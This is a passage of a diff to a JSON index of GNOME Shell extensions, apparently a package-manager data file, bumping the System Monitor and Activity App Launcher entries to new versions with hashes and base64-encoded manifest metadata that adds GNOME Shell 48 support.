-    "46": {"version": "38", "sha256": "1vqzrjxgf2dk1s8ikyic7kb6yw7qzwn06y0dvf7b4j6dzhvpflcd", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXkgcmVzb3VyY2UgdXNhZ2UuXG5cbkxpbnV4IGRpc3RyaWJ1dGlvbiBzcGVjaWZpYyBpbnN0YWxsYXRpb24gaW5zdHJ1Y3Rpb25zIGNhbiBiZSBmb3VuZCBpbiB0aGUgd2lraSBhdCBodHRwczovL2dpdGh1Yi5jb20vZWx2ZXRlbWVkdmUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLXN5c3RlbS1tb25pdG9yL3dpa2kvSW5zdGFsbGF0aW9uLlxuXG5QbGVhc2UgcmVwb3J0IGJ1Z3MgaGVyZTogaHR0cHM6Ly9naXRodWIuY29tL2VsdmV0ZW1lZHZlL2dub21lLXNoZWxsLWV4dGVuc2lvbi1zeXN0ZW0tbW9uaXRvci9pc3N1ZXMiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJTeXN0ZW1fTW9uaXRvckBiZ2hvbWUuZ21haWwuY29tIiwKICAibmFtZSI6ICJTeXN0ZW0gTW9uaXRvciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5zeXN0ZW0tbW9uaXRvciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2VsdmV0ZW1lZHZlL2dub21lLXNoZWxsLWV4dGVuc2lvbi1zeXN0ZW0tbW9uaXRvciIsCiAgInV1aWQiOiAiU3lzdGVtX01vbml0b3JAYmdob21lLmdtYWlsLmNvbSIsCiAgInZlcnNpb24iOiAzOAp9"},
-    "47": {"version": "38", "sha256": "1vqzrjxgf2dk1s8ikyic7kb6yw7qzwn06y0dvf7b4j6dzhvpflcd", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXkgcmVzb3VyY2UgdXNhZ2UuXG5cbkxpbnV4IGRpc3RyaWJ1dGlvbiBzcGVjaWZpYyBpbnN0YWxsYXRpb24gaW5zdHJ1Y3Rpb25zIGNhbiBiZSBmb3VuZCBpbiB0aGUgd2lraSBhdCBodHRwczovL2dpdGh1Yi5jb20vZWx2ZXRlbWVkdmUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLXN5c3RlbS1tb25pdG9yL3dpa2kvSW5zdGFsbGF0aW9uLlxuXG5QbGVhc2UgcmVwb3J0IGJ1Z3MgaGVyZTogaHR0cHM6Ly9naXRodWIuY29tL2VsdmV0ZW1lZHZlL2dub21lLXNoZWxsLWV4dGVuc2lvbi1zeXN0ZW0tbW9uaXRvci9pc3N1ZXMiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJTeXN0ZW1fTW9uaXRvckBiZ2hvbWUuZ21haWwuY29tIiwKICAibmFtZSI6ICJTeXN0ZW0gTW9uaXRvciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5zeXN0ZW0tbW9uaXRvciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2VsdmV0ZW1lZHZlL2dub21lLXNoZWxsLWV4dGVuc2lvbi1zeXN0ZW0tbW9uaXRvciIsCiAgInV1aWQiOiAiU3lzdGVtX01vbml0b3JAYmdob21lLmdtYWlsLmNvbSIsCiAgInZlcnNpb24iOiAzOAp9"}
+    "45": {"version": "39", "sha256": "03jzr5ajfrirrnv9m8hcd93gy8736gji3v4y99yhrh8k8nr82gv7", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXkgcmVzb3VyY2UgdXNhZ2UuXG5cbkxpbnV4IGRpc3RyaWJ1dGlvbiBzcGVjaWZpYyBpbnN0YWxsYXRpb24gaW5zdHJ1Y3Rpb25zIGNhbiBiZSBmb3VuZCBpbiB0aGUgd2lraSBhdCBodHRwczovL2dpdGh1Yi5jb20vZWx2ZXRlbWVkdmUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLXN5c3RlbS1tb25pdG9yL3dpa2kvSW5zdGFsbGF0aW9uLlxuXG5QbGVhc2UgcmVwb3J0IGJ1Z3MgaGVyZTogaHR0cHM6Ly9naXRodWIuY29tL2VsdmV0ZW1lZHZlL2dub21lLXNoZWxsLWV4dGVuc2lvbi1zeXN0ZW0tbW9uaXRvci9pc3N1ZXMiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJTeXN0ZW1fTW9uaXRvckBiZ2hvbWUuZ21haWwuY29tIiwKICAibmFtZSI6ICJTeXN0ZW0gTW9uaXRvciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5zeXN0ZW0tbW9uaXRvciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9lbHZldGVtZWR2ZS9nbm9tZS1zaGVsbC1leHRlbnNpb24tc3lzdGVtLW1vbml0b3IiLAogICJ1dWlkIjogIlN5c3RlbV9Nb25pdG9yQGJnaG9tZS5nbWFpbC5jb20iLAogICJ2ZXJzaW9uIjogMzkKfQ=="},
+    "46": {"version": "39", "sha256": "03jzr5ajfrirrnv9m8hcd93gy8736gji3v4y99yhrh8k8nr82gv7", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXkgcmVzb3VyY2UgdXNhZ2UuXG5cbkxpbnV4IGRpc3RyaWJ1dGlvbiBzcGVjaWZpYyBpbnN0YWxsYXRpb24gaW5zdHJ1Y3Rpb25zIGNhbiBiZSBmb3VuZCBpbiB0aGUgd2lraSBhdCBodHRwczovL2dpdGh1Yi5jb20vZWx2ZXRlbWVkdmUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLXN5c3RlbS1tb25pdG9yL3dpa2kvSW5zdGFsbGF0aW9uLlxuXG5QbGVhc2UgcmVwb3J0IGJ1Z3MgaGVyZTogaHR0cHM6Ly9naXRodWIuY29tL2VsdmV0ZW1lZHZlL2dub21lLXNoZWxsLWV4dGVuc2lvbi1zeXN0ZW0tbW9uaXRvci9pc3N1ZXMiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJTeXN0ZW1fTW9uaXRvckBiZ2hvbWUuZ21haWwuY29tIiwKICAibmFtZSI6ICJTeXN0ZW0gTW9uaXRvciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5zeXN0ZW0tbW9uaXRvciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9lbHZldGVtZWR2ZS9nbm9tZS1zaGVsbC1leHRlbnNpb24tc3lzdGVtLW1vbml0b3IiLAogICJ1dWlkIjogIlN5c3RlbV9Nb25pdG9yQGJnaG9tZS5nbWFpbC5jb20iLAogICJ2ZXJzaW9uIjogMzkKfQ=="},
+    "47": {"version": "39", "sha256": "03jzr5ajfrirrnv9m8hcd93gy8736gji3v4y99yhrh8k8nr82gv7", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXkgcmVzb3VyY2UgdXNhZ2UuXG5cbkxpbnV4IGRpc3RyaWJ1dGlvbiBzcGVjaWZpYyBpbnN0YWxsYXRpb24gaW5zdHJ1Y3Rpb25zIGNhbiBiZSBmb3VuZCBpbiB0aGUgd2lraSBhdCBodHRwczovL2dpdGh1Yi5jb20vZWx2ZXRlbWVkdmUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLXN5c3RlbS1tb25pdG9yL3dpa2kvSW5zdGFsbGF0aW9uLlxuXG5QbGVhc2UgcmVwb3J0IGJ1Z3MgaGVyZTogaHR0cHM6Ly9naXRodWIuY29tL2VsdmV0ZW1lZHZlL2dub21lLXNoZWxsLWV4dGVuc2lvbi1zeXN0ZW0tbW9uaXRvci9pc3N1ZXMiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJTeXN0ZW1fTW9uaXRvckBiZ2hvbWUuZ21haWwuY29tIiwKICAibmFtZSI6ICJTeXN0ZW0gTW9uaXRvciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5zeXN0ZW0tbW9uaXRvciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9lbHZldGVtZWR2ZS9nbm9tZS1zaGVsbC1leHRlbnNpb24tc3lzdGVtLW1vbml0b3IiLAogICJ1dWlkIjogIlN5c3RlbV9Nb25pdG9yQGJnaG9tZS5nbWFpbC5jb20iLAogICJ2ZXJzaW9uIjogMzkKfQ=="},
+    "48": {"version": "39", "sha256": "03jzr5ajfrirrnv9m8hcd93gy8736gji3v4y99yhrh8k8nr82gv7", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXkgcmVzb3VyY2UgdXNhZ2UuXG5cbkxpbnV4IGRpc3RyaWJ1dGlvbiBzcGVjaWZpYyBpbnN0YWxsYXRpb24gaW5zdHJ1Y3Rpb25zIGNhbiBiZSBmb3VuZCBpbiB0aGUgd2lraSBhdCBodHRwczovL2dpdGh1Yi5jb20vZWx2ZXRlbWVkdmUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLXN5c3RlbS1tb25pdG9yL3dpa2kvSW5zdGFsbGF0aW9uLlxuXG5QbGVhc2UgcmVwb3J0IGJ1Z3MgaGVyZTogaHR0cHM6Ly9naXRodWIuY29tL2VsdmV0ZW1lZHZlL2dub21lLXNoZWxsLWV4dGVuc2lvbi1zeXN0ZW0tbW9uaXRvci9pc3N1ZXMiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJTeXN0ZW1fTW9uaXRvckBiZ2hvbWUuZ21haWwuY29tIiwKICAibmFtZSI6ICJTeXN0ZW0gTW9uaXRvciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5zeXN0ZW0tbW9uaXRvciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9lbHZldGVtZWR2ZS9nbm9tZS1zaGVsbC1leHRlbnNpb24tc3lzdGVtLW1vbml0b3IiLAogICJ1dWlkIjogIlN5c3RlbV9Nb25pdG9yQGJnaG9tZS5nbWFpbC5jb20iLAogICJ2ZXJzaW9uIjogMzkKfQ=="}
   }}
 , {"uuid": "syncthing@gnome.2nv2u.com", "name": "Syncthing Indicator", "pname": "syncthing-indicator", "description": "Shell indicator for starting, monitoring and controlling the Syncthing daemon using SystemD", "link": "https://extensions.gnome.org/extension/1070/syncthing-indicator/", "shell_version_map": {
     "38": {"version": "27", "sha256": "08l9xsbndgi7v863x76q4br89gjysaxwx8rhfkcp2nwqw247wfa2", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNoZWxsIGluZGljYXRvciBmb3Igc3RhcnRpbmcsIG1vbml0b3JpbmcgYW5kIGNvbnRyb2xsaW5nIHRoZSBTeW5jdGhpbmcgZGFlbW9uIHVzaW5nIFN5c3RlbUQiLAogICJuYW1lIjogIlN5bmN0aGluZyBJbmRpY2F0b3IiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjMuMzYiLAogICAgIjMuMzgiLAogICAgIjQwIiwKICAgICI0MSIsCiAgICAiNDIiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS8ybnYydS9nbm9tZS1zaGVsbC1leHRlbnNpb24tc3luY3RoaW5nLWluZGljYXRvciIsCiAgInV1aWQiOiAic3luY3RoaW5nQGdub21lLjJudjJ1LmNvbSIsCiAgInZlcnNpb24iOiAyNwp9"},
@@ -1185,9 +1187,10 @@
     "42": {"version": "37", "sha256": "1v0qjzyqylhhdqybm6p2lhiwp3cz1mnx7lq7gbpznf4k2w44mi8f", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkludGVncmF0ZXMgYSBjYXRlZ29yeS1iYXNlZCBhcHBsaWNhdGlvbiBsYXVuY2hlciBpbiB0aGUgYWN0aXZpdGllcyB3aW5kb3cuIElNUE9SVEFOVDogaXQgbmVlZHMgdGhlICdnbm9tZS1tZW51cycgYW5kICdsaWJnbm9tZS1tZW51LTMtZGV2JzsgdGhleSBtdXN0IGJlIGluc3RhbGxlZCBpbiB0aGUgc3lzdGVtIGJlZm9yZSBpbnN0YWxsaW5nIHRoaXMgZXh0ZW5zaW9uLiIsCiAgIm5hbWUiOiAiQWN0aXZpdHkgQXBwIExhdW5jaGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MCIsCiAgICAiNDEiLAogICAgIjQyIiwKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9yYXN0ZXJzb2Z0L2FjdGl2aXR5QXBwTGF1bmNoZXIiLAogICJ1dWlkIjogImFjdGl2aXR5QXBwTGF1bmNoZXJAcmFzdGVyc29mdC5jb20iLAogICJ2ZXJzaW9uIjogMzcKfQ=="},
     "43": {"version": "37", "sha256": "1v0qjzyqylhhdqybm6p2lhiwp3cz1mnx7lq7gbpznf4k2w44mi8f", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkludGVncmF0ZXMgYSBjYXRlZ29yeS1iYXNlZCBhcHBsaWNhdGlvbiBsYXVuY2hlciBpbiB0aGUgYWN0aXZpdGllcyB3aW5kb3cuIElNUE9SVEFOVDogaXQgbmVlZHMgdGhlICdnbm9tZS1tZW51cycgYW5kICdsaWJnbm9tZS1tZW51LTMtZGV2JzsgdGhleSBtdXN0IGJlIGluc3RhbGxlZCBpbiB0aGUgc3lzdGVtIGJlZm9yZSBpbnN0YWxsaW5nIHRoaXMgZXh0ZW5zaW9uLiIsCiAgIm5hbWUiOiAiQWN0aXZpdHkgQXBwIExhdW5jaGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MCIsCiAgICAiNDEiLAogICAgIjQyIiwKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9yYXN0ZXJzb2Z0L2FjdGl2aXR5QXBwTGF1bmNoZXIiLAogICJ1dWlkIjogImFjdGl2aXR5QXBwTGF1bmNoZXJAcmFzdGVyc29mdC5jb20iLAogICJ2ZXJzaW9uIjogMzcKfQ=="},
     "44": {"version": "37", "sha256": "1v0qjzyqylhhdqybm6p2lhiwp3cz1mnx7lq7gbpznf4k2w44mi8f", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkludGVncmF0ZXMgYSBjYXRlZ29yeS1iYXNlZCBhcHBsaWNhdGlvbiBsYXVuY2hlciBpbiB0aGUgYWN0aXZpdGllcyB3aW5kb3cuIElNUE9SVEFOVDogaXQgbmVlZHMgdGhlICdnbm9tZS1tZW51cycgYW5kICdsaWJnbm9tZS1tZW51LTMtZGV2JzsgdGhleSBtdXN0IGJlIGluc3RhbGxlZCBpbiB0aGUgc3lzdGVtIGJlZm9yZSBpbnN0YWxsaW5nIHRoaXMgZXh0ZW5zaW9uLiIsCiAgIm5hbWUiOiAiQWN0aXZpdHkgQXBwIExhdW5jaGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MCIsCiAgICAiNDEiLAogICAgIjQyIiwKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9yYXN0ZXJzb2Z0L2FjdGl2aXR5QXBwTGF1bmNoZXIiLAogICJ1dWlkIjogImFjdGl2aXR5QXBwTGF1bmNoZXJAcmFzdGVyc29mdC5jb20iLAogICJ2ZXJzaW9uIjogMzcKfQ=="},
-    "45": {"version": "42", "sha256": "108jgsm4p9pdnlxlznjjwbvkf7fknfxzly6disq5nyq9nfzpczxg", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkludGVncmF0ZXMgYSBjYXRlZ29yeS1iYXNlZCBhcHBsaWNhdGlvbiBsYXVuY2hlciBpbiB0aGUgYWN0aXZpdGllcyB3aW5kb3cuIElNUE9SVEFOVDogaXQgbmVlZHMgdGhlICdnbm9tZS1tZW51cycgYW5kICdsaWJnbm9tZS1tZW51LTMtZGV2JzsgdGhleSBtdXN0IGJlIGluc3RhbGxlZCBpbiB0aGUgc3lzdGVtIGJlZm9yZSBpbnN0YWxsaW5nIHRoaXMgZXh0ZW5zaW9uLiIsCiAgImdldHRleHQtZG9tYWluIjogImFjdGl2aXR5QXBwTGF1bmNoZXIiLAogICJuYW1lIjogIkFjdGl2aXR5IEFwcCBMYXVuY2hlciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5hY3Rpdml0eUFwcExhdW5jaGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5jb20vcmFzdGVyc29mdC9hY3Rpdml0eUFwcExhdW5jaGVyIiwKICAidXVpZCI6ICJhY3Rpdml0eUFwcExhdW5jaGVyQHJhc3RlcnNvZnQuY29tIiwKICAidmVyc2lvbiI6IDQyCn0="},
-    "46": {"version": "42", "sha256": "108jgsm4p9pdnlxlznjjwbvkf7fknfxzly6disq5nyq9nfzpczxg", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkludGVncmF0ZXMgYSBjYXRlZ29yeS1iYXNlZCBhcHBsaWNhdGlvbiBsYXVuY2hlciBpbiB0aGUgYWN0aXZpdGllcyB3aW5kb3cuIElNUE9SVEFOVDogaXQgbmVlZHMgdGhlICdnbm9tZS1tZW51cycgYW5kICdsaWJnbm9tZS1tZW51LTMtZGV2JzsgdGhleSBtdXN0IGJlIGluc3RhbGxlZCBpbiB0aGUgc3lzdGVtIGJlZm9yZSBpbnN0YWxsaW5nIHRoaXMgZXh0ZW5zaW9uLiIsCiAgImdldHRleHQtZG9tYWluIjogImFjdGl2aXR5QXBwTGF1bmNoZXIiLAogICJuYW1lIjogIkFjdGl2aXR5IEFwcCBMYXVuY2hlciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5hY3Rpdml0eUFwcExhdW5jaGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5jb20vcmFzdGVyc29mdC9hY3Rpdml0eUFwcExhdW5jaGVyIiwKICAidXVpZCI6ICJhY3Rpdml0eUFwcExhdW5jaGVyQHJhc3RlcnNvZnQuY29tIiwKICAidmVyc2lvbiI6IDQyCn0="},
-    "47": {"version": "42", "sha256": "108jgsm4p9pdnlxlznjjwbvkf7fknfxzly6disq5nyq9nfzpczxg", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkludGVncmF0ZXMgYSBjYXRlZ29yeS1iYXNlZCBhcHBsaWNhdGlvbiBsYXVuY2hlciBpbiB0aGUgYWN0aXZpdGllcyB3aW5kb3cuIElNUE9SVEFOVDogaXQgbmVlZHMgdGhlICdnbm9tZS1tZW51cycgYW5kICdsaWJnbm9tZS1tZW51LTMtZGV2JzsgdGhleSBtdXN0IGJlIGluc3RhbGxlZCBpbiB0aGUgc3lzdGVtIGJlZm9yZSBpbnN0YWxsaW5nIHRoaXMgZXh0ZW5zaW9uLiIsCiAgImdldHRleHQtZG9tYWluIjogImFjdGl2aXR5QXBwTGF1bmNoZXIiLAogICJuYW1lIjogIkFjdGl2aXR5IEFwcCBMYXVuY2hlciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5hY3Rpdml0eUFwcExhdW5jaGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5jb20vcmFzdGVyc29mdC9hY3Rpdml0eUFwcExhdW5jaGVyIiwKICAidXVpZCI6ICJhY3Rpdml0eUFwcExhdW5jaGVyQHJhc3RlcnNvZnQuY29tIiwKICAidmVyc2lvbiI6IDQyCn0="}
+    "45": {"version": "43", "sha256": "1pdzsybrkfrwz7il6px01df0ncvhd9q0xkqjm84ppcwz4smqn4ch", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkludGVncmF0ZXMgYSBjYXRlZ29yeS1iYXNlZCBhcHBsaWNhdGlvbiBsYXVuY2hlciBpbiB0aGUgYWN0aXZpdGllcyB3aW5kb3cuIElNUE9SVEFOVDogaXQgbmVlZHMgdGhlICdnbm9tZS1tZW51cycgYW5kICdsaWJnbm9tZS1tZW51LTMtZGV2JzsgdGhleSBtdXN0IGJlIGluc3RhbGxlZCBpbiB0aGUgc3lzdGVtIGJlZm9yZSBpbnN0YWxsaW5nIHRoaXMgZXh0ZW5zaW9uLiIsCiAgImdldHRleHQtZG9tYWluIjogImFjdGl2aXR5QXBwTGF1bmNoZXIiLAogICJuYW1lIjogIkFjdGl2aXR5IEFwcCBMYXVuY2hlciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5hY3Rpdml0eUFwcExhdW5jaGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuY29tL3Jhc3RlcnNvZnQvYWN0aXZpdHlBcHBMYXVuY2hlciIsCiAgInV1aWQiOiAiYWN0aXZpdHlBcHBMYXVuY2hlckByYXN0ZXJzb2Z0LmNvbSIsCiAgInZlcnNpb24iOiA0Mwp9"},
+    "46": {"version": "43", "sha256": "1pdzsybrkfrwz7il6px01df0ncvhd9q0xkqjm84ppcwz4smqn4ch", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkludGVncmF0ZXMgYSBjYXRlZ29yeS1iYXNlZCBhcHBsaWNhdGlvbiBsYXVuY2hlciBpbiB0aGUgYWN0aXZpdGllcyB3aW5kb3cuIElNUE9SVEFOVDogaXQgbmVlZHMgdGhlICdnbm9tZS1tZW51cycgYW5kICdsaWJnbm9tZS1tZW51LTMtZGV2JzsgdGhleSBtdXN0IGJlIGluc3RhbGxlZCBpbiB0aGUgc3lzdGVtIGJlZm9yZSBpbnN0YWxsaW5nIHRoaXMgZXh0ZW5zaW9uLiIsCiAgImdldHRleHQtZG9tYWluIjogImFjdGl2aXR5QXBwTGF1bmNoZXIiLAogICJuYW1lIjogIkFjdGl2aXR5IEFwcCBMYXVuY2hlciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5hY3Rpdml0eUFwcExhdW5jaGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuY29tL3Jhc3RlcnNvZnQvYWN0aXZpdHlBcHBMYXVuY2hlciIsCiAgInV1aWQiOiAiYWN0aXZpdHlBcHBMYXVuY2hlckByYXN0ZXJzb2Z0LmNvbSIsCiAgInZlcnNpb24iOiA0Mwp9"},
+    "47": {"version": "43", "sha256": "1pdzsybrkfrwz7il6px01df0ncvhd9q0xkqjm84ppcwz4smqn4ch", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkludGVncmF0ZXMgYSBjYXRlZ29yeS1iYXNlZCBhcHBsaWNhdGlvbiBsYXVuY2hlciBpbiB0aGUgYWN0aXZpdGllcyB3aW5kb3cuIElNUE9SVEFOVDogaXQgbmVlZHMgdGhlICdnbm9tZS1tZW51cycgYW5kICdsaWJnbm9tZS1tZW51LTMtZGV2JzsgdGhleSBtdXN0IGJlIGluc3RhbGxlZCBpbiB0aGUgc3lzdGVtIGJlZm9yZSBpbnN0YWxsaW5nIHRoaXMgZXh0ZW5zaW9uLiIsCiAgImdldHRleHQtZG9tYWluIjogImFjdGl2aXR5QXBwTGF1bmNoZXIiLAogICJuYW1lIjogIkFjdGl2aXR5IEFwcCBMYXVuY2hlciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5hY3Rpdml0eUFwcExhdW5jaGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuY29tL3Jhc3RlcnNvZnQvYWN0aXZpdHlBcHBMYXVuY2hlciIsCiAgInV1aWQiOiAiYWN0aXZpdHlBcHBMYXVuY2hlckByYXN0ZXJzb2Z0LmNvbSIsCiAgInZlcnNpb24iOiA0Mwp9"},
+    "48": {"version": "43", "sha256": "1pdzsybrkfrwz7il6px01df0ncvhd9q0xkqjm84ppcwz4smqn4ch", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkludGVncmF0ZXMgYSBjYXRlZ29yeS1iYXNlZCBhcHBsaWNhdGlvbiBsYXVuY2hlciBpbiB0aGUgYWN0aXZpdGllcyB3aW5kb3cuIElNUE9SVEFOVDogaXQgbmVlZHMgdGhlICdnbm9tZS1tZW51cycgYW5kICdsaWJnbm9tZS1tZW51LTMtZGV2JzsgdGhleSBtdXN0IGJlIGluc3RhbGxlZCBpbiB0aGUgc3lzdGVtIGJlZm9yZSBpbnN0YWxsaW5nIHRoaXMgZXh0ZW5zaW9uLiIsCiAgImdldHRleHQtZG9tYWluIjogImFjdGl2aXR5QXBwTGF1bmNoZXIiLAogICJuYW1lIjogIkFjdGl2aXR5IEFwcCBMYXVuY2hlciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5hY3Rpdml0eUFwcExhdW5jaGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuY29tL3Jhc3RlcnNvZnQvYWN0aXZpdHlBcHBMYXVuY2hlciIsCiAgInV1